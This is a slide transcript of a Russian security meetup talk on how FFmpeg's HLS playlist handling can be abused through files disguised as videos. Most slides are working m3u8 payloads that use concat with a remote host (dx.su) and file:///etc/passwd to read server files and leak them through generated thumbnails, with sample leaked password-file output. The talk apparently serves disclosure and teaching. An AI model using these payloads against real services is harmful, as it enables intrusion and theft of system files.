security meetup 22 октября. «Опасное видео». Максим Андреев....

21
Опасное видео Максим Андреев, программист бэкенда Облако Mail.Ru

Upload: mailru-group

Post on 19-Mar-2017

17.560 views

Category:

Education


2 download

TRANSCRIPT

Опасное видеоМаксим Андреев, программист бэкенда Облако Mail.Ru

FFmpeg• поддержка более 400 кодеков и 300 форматов• открытый исходный код• активная разработка• большое сообщество

Часто используется для конвертации видео и генерациитамбнейлов

test.avi = aaaa.mov = bbbb.123

cp test.avi aaaa.movcp test.avi bbbb.123

Все сконвертировалось:

ffmpeg -i orig.avi out.mp4ffmpeg -i aaaa.mov out.mp4ffmpeg -i bbbb.123 out.mp4

ffmpeg не обращает внимания на расширение файла (∗)

HTTP Live Streaming - HLS

test.m3u8 | test.(avi |mp4|mov)

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://cdev.dx.su:1234/8.mp4#EXT-X-ENDLIST

ffmpeg -i /usr/local/share/wireshark/help/faq.txt out.mp4

ffmpeg -i /usr/local/share/wireshark/help/faq.txt out.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://www.msu.ru/index.php?.txt#EXT-X-ENDLIST

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://www.msu.ru/index.php?.txt#EXT-X-ENDLIST

concat - Read and seek from many resources in sequence as if theywere a unique resource.

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

⇓http://example.org?# $FreeBSD: release/10.0.0/et..

concat - Read and seek from many resources in sequence as if theywere a unique resource.

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

⇓http://example.org?# $FreeBSD: release/10.0.0/et..

YUV4MPEG2 - без сжатия, 1 пиксель - 8 бит

http://dx.su/header.y4m

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME

video.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.y4m|file:///etc/passwd#EXT-X-ENDLIST

ffmpeg -i video.mp4 thumbnail.png

ffmpeg -i thumbnail.png out.y4m

YUV4MPEG2 W30 H30 F25:1 Ip A0:0 CmonoFRAME# $FreeBSD: release/10.0.0/etc/master.passwd 256366

2013-10-12 06:08:18Z rpaulo $↪→

#root:*:0:0:Charlie &:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-again Superuser:/root:...

http://dx.su/header.m3u8

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://example.org?

movie.mp4

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://dx.su/header.m3u8|file:///etc/passwd#EXT-X-ENDLIST

Что в итоге?